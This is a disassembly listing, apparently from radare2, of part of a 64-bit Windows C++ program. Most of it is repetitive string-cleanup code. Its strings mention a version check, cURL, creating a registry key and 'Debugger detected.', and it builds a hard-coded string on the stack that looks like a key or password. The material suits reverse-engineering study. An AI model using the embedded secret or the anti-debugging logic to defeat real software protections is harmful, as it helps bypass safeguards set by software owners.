jb 0x140006aa4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006aa4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqu xmmword [rsp + 0xe8], xmm6
mov byte [rsp + 0xd8], 0
mov rdx, qword [rsp + 0x150]
cmp rdx, 0xf
jbe 0x140006b01
inc rdx
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006afb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006afb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x140006b47
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqu xmmword [rsp + 0x108], xmm6
mov byte [rsp + 0xf8], 0
mov rdx, qword [rsp + 0x538]
cmp rdx, 0xf
jbe 0x140006b9f
inc rdx
mov rcx, qword [rsp + 0x520]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140006bdf
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006bda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqu xmmword [rsp + 0x68], xmm6
mov byte [rsp + 0x58], 0
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x140006c30
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006c2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqu xmmword [rsp + 0xa8], xmm6
mov byte [rsp + 0x98], 0
mov rdx, qword [rsp + 0x170]
cmp rdx, 0xf
jbe 0x140006c87
inc rdx
mov rcx, qword [rsp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006c82
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqu xmmword [rsp + 0x168], xmm6
mov byte [rsp + 0x158], 0
mov rdx, qword [rsp + 0x130]
cmp rdx, 0xf
jbe 0x140006cde
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006cd9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006cd9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqu xmmword [rsp + 0x128], xmm6
mov byte [rsp + 0x118], 0
mov rdx, qword [rsp + 0x5e0]
cmp rdx, 0xf
jbe 0x140006d35
inc rdx
mov rcx, qword [rsp + 0x5c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqu xmmword [rsp + 0x5d8], xmm6
mov byte [rsp + 0x5c8], 0
mov rdx, qword [rsp + 0x90]
cmp rdx, 0xf
jbe 0x140006d89
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d84
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqu xmmword [rsp + 0x88], xmm6
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0xf
jbe 0x140006ddd
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006dd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006dd8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
lea rdx, str.Program_Is_Working_What_The_Fu...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400097b0
lea rdx, [0x1400099b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
mov dword [rsp + 0x4c0], 0x78656c41
mov dword [rsp + 0x4c4], 0x31614761
mov word [rsp + 0x4c8], 0x3534
mov byte [rsp + 0x4ca], 0x33
movdqu xmmword [rsp + 0x560], xmm0
mov qword [rsp + 0x570], r15
mov edx, listen
lea rcx, [rsp + 0x560]
call fcn.14000a470
mov r8d, listen
lea rdx, [rsp + 0x4c0]
mov rbx, qword [rsp + 0x560]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + 0xb]
mov qword [rsp + 0x568], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x5e8], xmm0
movups xmmword [rsp + 0x5f8], xmm0
lea rdx, [rsp + 0x560]
lea rcx, [rsp + 0x5e8]
call fcn.140003d10
nop
lea rcx, [rsp + 0x5e8]
call fcn.140003f10
nop
mov r8, qword [rsp + 0x5f0]
mov rcx, qword [rsp + 0x5e8]
sub r8, rcx
xor edx, edx
call fcn.14006f69e
mov rcx, qword [rsp + 0x5e8]
test rcx, rcx
je 0x140006f22
mov rdx, qword [rsp + 0x5f8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x5e8], xmm0
mov qword [rsp + 0x5f8], r15
mov rcx, qword [rsp + 0x560]
test rcx, rcx
je 0x140006f68
mov rdx, qword [rsp + 0x570]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
lea rcx, [rsp + 0x6d0]
call fcn.140004f00
nop
mov rdx, qword [rsp + 0x648]
cmp rdx, 0xf
jbe 0x140006fb5
inc rdx
mov rcx, qword [rsp + 0x630]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006fb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007000
call fcn.14006e640
movdqa xmmword [rsp + 0x640], xmm6
mov byte [rsp + 0x630], 0
mov rdx, qword [rsp + 0x628]
cmp rdx, 0xf
jbe 0x14000700c
inc rdx
mov rcx, qword [rsp + 0x610]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007007
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007007
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqa xmmword [rsp + 0x620], xmm6
mov byte [rsp + 0x610], 0
mov rdx, qword [rsp + 0x6c8]
cmp rdx, 0xf
jbe 0x140007063
inc rdx
mov rcx, qword [rsp + 0x6b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000705e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000705e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
movdqu xmmword [rsp + 0x6c0], xmm6
mov byte [rsp + 0x6b0], 0
mov rdx, qword [rsp + 0x668]
cmp rdx, 0xf
jbe 0x1400070bb
inc rdx
mov rcx, qword [rsp + 0x650]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400070b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400070b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rdx, qword [rsp + 0x688]
cmp rdx, 0xf
jbe 0x140007102
inc rdx
mov rcx, qword [rsp + 0x670]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400070fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400070fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rdx, qword [rsp + 0x6a8]
cmp rdx, 0xf
jbe 0x140007149
inc rdx
mov rcx, qword [rsp + 0x690]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007143
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007143
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
nop
mov rcx, qword [rsp + 0x598]
test rcx, rcx
je 0x14000715b
call fcn.14000b4f0
call fcn.14000b730
nop
mov rcx, qword [rsp + 0x5b0]
test rcx, rcx
je 0x1400071d3
mov rdx, qword [rsp + 0x5b8]
call fcn.14000a150
mov rdx, qword [rsp + 0x5c0]
mov rcx, qword [rsp + 0x5b0]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400071ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400071ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e640
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x5b0], xmm0
mov qword [rsp + 0x5c0], r15
mov rcx, qword [rsp + 0x580]
mov rdi, qword [rcx + 8]
cmp byte [rdi + 0x19], 0
jne 0x140007233
nop word [rax + rax]
mov r8, qword [rdi + 0x10]
lea rdx, [rsp + 0x580]
lea rcx, [rsp + 0x580]
call fcn.14000a8b0
mov rbx, rdi
mov rdi, qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.140007420
mov edx, 0x60
mov rcx, rbx
call fcn.14006e640
cmp byte [rdi + 0x19], 0
je 0x1400071f0
mov rcx, qword [rsp + 0x580]
mov edx, 0x60
call fcn.14006e640
nop
mov rcx, qword [rsp + 0x5a0]
mov rdi, qword [rcx + 8]
cmp byte [rdi + 0x19], 0
jne 0x140007293
mov r8, qword [rdi + 0x10]
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x5a0]
call fcn.14000a8b0
mov rbx, rdi
mov rdi, qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.140007420
mov edx, 0x60
mov rcx, rbx
call fcn.14006e640
cmp byte [rdi + 0x19], 0
je 0x140007250
mov rcx, qword [rsp + 0x5a0]
mov edx, 0x60
call fcn.14006e640
nop
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x1400072e3
lea rdx, str.Version_mismatch._The_application_is_closing.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400097b0
lea rdx, [0x1400099b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov eax, 1
mov rcx, qword [rsp + 0x740]
xor rcx, rsp
call fcn.14006e620
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rdx, str.cURL_could_not_be_started
lea rcx, [rsp + 0xb8]
call fcn.140008b30
nop
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x490]
call fcn.140001480
lea rdx, [0x14008b800]
lea rcx, [rsp + 0x490]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov edx, eax
lea rcx, [rsp + 0xb8]
call fcn.1400013c0
mov rbx, rax
lea r8, [rsp + 0x630]
lea rdx, str.Registry_key_could_not_be_created:
lea rcx, [rsp + 0x4e0]
call fcn.140009520
nop
lea r8, str.__Error_Code:
mov rdx, rax
lea rcx, [rsp + 0x158]
call fcn.1400099f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x520]
call fcn.140009a60
nop
lea r8, [0x140082a24]
mov rdx, rax
lea rcx, [rsp + 0x138]
call fcn.1400099f0
nop
mov rdx, rax
lea rcx, [rsp + 0x4a8]
call fcn.140001250
lea rdx, [0x14008b788]
lea rcx, [rsp + 0x4a8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.Debugger_detected.
lea rcx, [rsp + 0xb8]
call fcn.140008b30
nop
lea rdx, [rsp + 0xb8]
call fcn.140001880
int3